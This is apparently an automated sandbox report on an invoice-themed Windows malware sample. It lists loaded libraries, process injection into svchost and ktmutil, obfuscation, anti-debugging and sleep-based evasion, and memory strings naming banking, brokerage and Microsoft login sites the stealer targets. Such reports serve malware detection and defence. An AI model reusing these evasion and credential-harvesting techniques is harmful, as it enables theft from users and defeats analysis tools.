Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: ktmw32.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\ktmutil.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: ORIGINAL INVOICE COAU7230734290.exe Static file information: File size 1212928 > 1048576
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: tOxaspWNamv.exe, 00000008.00000002.3405222238.0000000000F7E000.00000002.00000001.01000000.00000005.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3409614358.0000000000F7E000.00000002.00000001.01000000.00000005.sdmp
Source: Binary string: wntdll.pdbUGP source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2165458850.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2163294510.0000000003600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493451391.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2391635779.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493451391.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2389578275.0000000003600000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000003.2502109866.0000000002E7F000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000003.2504208467.0000000003028000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.00000000031D0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.000000000336E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: srdelayed.pdbGCTL source: tOxaspWNamv.exe, 00000008.00000003.2433589740.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2165458850.00000000034B0000.00000004.00001000.00020000.00000000.sdmp, ORIGINAL INVOICE COAU7230734290.exe, 00000002.00000003.2163294510.0000000003600000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000004.00000002.2493451391.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2391635779.0000000003800000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493451391.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000004.00000003.2389578275.0000000003600000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, ktmutil.exe, 0000000B.00000003.2502109866.0000000002E7F000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000003.2504208467.0000000003028000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.00000000031D0000.00000040.00001000.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412179263.000000000336E000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: ktmutil.pdbGCTL source: svchost.exe, 00000004.00000002.2493286869.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493265316.0000000003400000.00000004.00000020.00020000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000003.2434247222.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ktmutil.pdb source: svchost.exe, 00000004.00000002.2493286869.0000000003412000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000004.00000002.2493265316.0000000003400000.00000004.00000020.00020000.00000000.sdmp, tOxaspWNamv.exe, 00000008.00000003.2434247222.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: srdelayed.pdb source: tOxaspWNamv.exe, 00000008.00000003.2433589740.0000000000C7B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: svchost.pdb source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D83000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412669118.00000000037FC000.00000004.10000000.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000000.2571842961.000000000268C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2799096462.000000001763C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: svchost.pdbUGP source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D83000.00000004.00000020.00020000.00000000.sdmp, ktmutil.exe, 0000000B.00000002.3412669118.00000000037FC000.00000004.10000000.00040000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000000.2571842961.000000000268C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.2799096462.000000001763C000.00000004.80000000.00040000.00000000.sdmp
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: ORIGINAL INVOICE COAU7230734290.exe Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
Contains functionality to dynamically determine API calls
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020E01E LoadLibraryA,GetProcAddress, 2_2_0020E01E
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020288B push 66002023h; retn 0026h 2_2_002028E1
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00216B05 push ecx; ret 2_2_00216B18
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00416096 push eax; ret 4_2_004160E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004168B9 push 49A0F8CEh; ret 4_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004160BB push eax; ret 4_2_004160E9
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00416970 push 49A0F8CEh; ret 4_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0041692F push 49A0F8CEh; ret 4_2_00416912
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004049B6 push cs; iretd 4_2_004049BA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004032E0 push eax; ret 4_2_004032E2
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00415A90 push ds; retf 4_2_00415A93
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0041938B push ecx; retf 4_2_004193EC
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00411BB6 push ecx; retf 4_2_00411BB8
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_004065E5 push cs; ret 4_2_004065F0
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00404E33 push ds; iretd 4_2_00404E63
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_0040D6C1 push ebp; retf 4_2_0040D6CA
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_00404E91 push ds; iretd 4_2_00404E63
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A309AD push ecx; mov dword ptr [esp], ecx 4_2_03A309B6
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0495E48B push ecx; ret 8_2_0495E4C9
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496CCBD push eax; ret 8_2_0496CD10
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496CCE2 push eax; ret 8_2_0496CD10
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496D4E0 push 49A0F8CEh; ret 8_2_0496D539
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0495E40F push ecx; ret 8_2_0495E4C9
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496D597 push 49A0F8CEh; ret 8_2_0496D539
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0495B5DD push cs; iretd 8_2_0495B5E1
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0495E517 push ecx; ret 8_2_0495E4C9
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496D556 push 49A0F8CEh; ret 8_2_0496D539
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0496C6B7 push ds; retf 8_2_0496C6BA
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0495BAB8 push ds; iretd 8_2_0495BA8A
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0495C6FE push ss; retf 8_2_0495C701
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_049642E8 push ebp; retf 8_2_049642F1
Source: C:\Program Files (x86)\qMLrzcnlYymOXinSzLJToFkBWYtvDvmTGOOHHuAToRqDTSFPSxwUcCqikfquPepJCBoCFJ\tOxaspWNamv.exe Code function: 8_2_0495D20C push cs; ret 8_2_0495D217
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00258111 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed, 2_2_00258111
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020EB42 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput, 2_2_0020EB42
Extensive use of GetProcAddress (often used to hide API calls)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0021123A __initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 2_2_0021123A
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Switches to a custom stack to bypass stack traces
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe API/Special instruction interceptor: Address: E27D6C
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\ktmutil.exe API/Special instruction interceptor: Address: 7FFDB442DA44
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\SysWOW64\svchost.exe Code function: 4_2_03A7096E rdtsc 4_2_03A7096E
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\ktmutil.exe Window / User API: threadDelayed 9695 Jump to behavior
Found evaded block containing many API calls
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Evaded block: after key decision
Found evasive API chain (date check)
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe API coverage: 4.5 %
Source: C:\Windows\SysWOW64\svchost.exe API coverage: 0.7 %
Source: C:\Windows\SysWOW64\ktmutil.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 2364 Thread sleep count: 279 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 2364 Thread sleep time: -558000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 2364 Thread sleep count: 9695 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe TID: 2364 Thread sleep time: -19390000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\ktmutil.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\ktmutil.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00236CA9 GetFileAttributesW,FindFirstFileW,FindClose, 2_2_00236CA9
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002360DD _wcscat,_wcscat,__wsplitpath,FindFirstFileW,DeleteFileW,_wcscpy,_wcscat,_wcscat,lstrcmpiW,DeleteFileW,MoveFileW,MoveFileW,CopyFileW,DeleteFileW,CopyFileW,FindNextFileW,FindClose,FindClose, 2_2_002360DD
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_002363F9 _wcscat,__wsplitpath,FindFirstFileW,_wcscpy,_wcscat,_wcscat,DeleteFileW,FindNextFileW,FindClose, 2_2_002363F9
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023EB60 FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose, 2_2_0023EB60
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023F56F FindFirstFileW,FindClose, 2_2_0023F56F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0023F5FA FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf, 2_2_0023F5FA
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00241B2F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 2_2_00241B2F
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00241C8A SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose, 2_2_00241C8A
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_00241F94 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose, 2_2_00241F94
Source: C:\Windows\SysWOW64\ktmutil.exe Code function: 11_2_0279C810 FindFirstFileW,FindNextFileW,FindClose, 11_2_0279C810
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe Code function: 2_2_0020DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo, 2_2_0020DDC0
Source: 283026M3L.11.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: tasks.office.comVMware20,116
Source: 283026M3L.11.dr Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: 283026M3L.11.dr Binary or memory string: secure.bankofamerica.comVMware20,11696487552|UE
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: rtal.azure.comVMware20,11696487552
Source: 283026M3L.11.dr Binary or memory string: discord.comVMware20,11696487552f
Source: 283026M3L.11.dr Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: 283026M3L.11.dr Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: 283026M3L.11.dr Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: .comVMware20,11696487552x
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: ansaction PasswordVMware20,11696487552
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware20,11696487552n
Source: 283026M3L.11.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: 283026M3L.11.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: 283026M3L.11.dr Binary or memory string: global block list test formVMware20,11696487552
Source: 283026M3L.11.dr Binary or memory string: tasks.office.comVMware20,11696487552o
Source: 283026M3L.11.dr Binary or memory string: AMC password management pageVMware20,11696487552
Source: ktmutil.exe, 0000000B.00000002.3402567248.0000000002D83000.00000004.00000020.00020000.00000000.sdmp, tOxaspWNamv.exe, 0000000E.00000002.3403128496.000000000045A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 283026M3L.11.dr Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: l.comVMware20,11696487552h
Source: 283026M3L.11.dr Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: 283026M3L.11.dr Binary or memory string: dev.azure.comVMware20,11696487552j
Source: 283026M3L.11.dr Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: 283026M3L.11.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: VMware20,11696487552~
Source: firefox.exe, 00000010.00000002.2800681356.000001C39761C000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll8
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: block list test formVMware20,1169648755
Source: 283026M3L.11.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: tion PasswordVMware20,11696487552}
Source: 283026M3L.11.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: 283026M3L.11.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: 283026M3L.11.dr Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: 283026M3L.11.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: ktmutil.exe, 0000000B.00000002.3414498574.0000000007A97000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Interactive Brokers - HKVMware20,
Source: 283026M3L.11.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: 283026M3L.11.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: 283026M3L.11.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: 283026M3L.11.dr Binary or memory string: outlook.office.comVMware20,11696487552s
Source: 283026M3L.11.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: 283026M3L.11.dr Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: 283026M3L.11.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: 283026M3L.11.dr Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: 283026M3L.11.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552
Source: C:\Users\user\Desktop\ORIGINAL INVOICE COAU7230734290.exe API call chain: ExitProcess graph end node
Source: C:\Windows\SysWOW64\svchost.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\SysWOW64\svchost.exe Process queried: DebugPort Jump to behavior
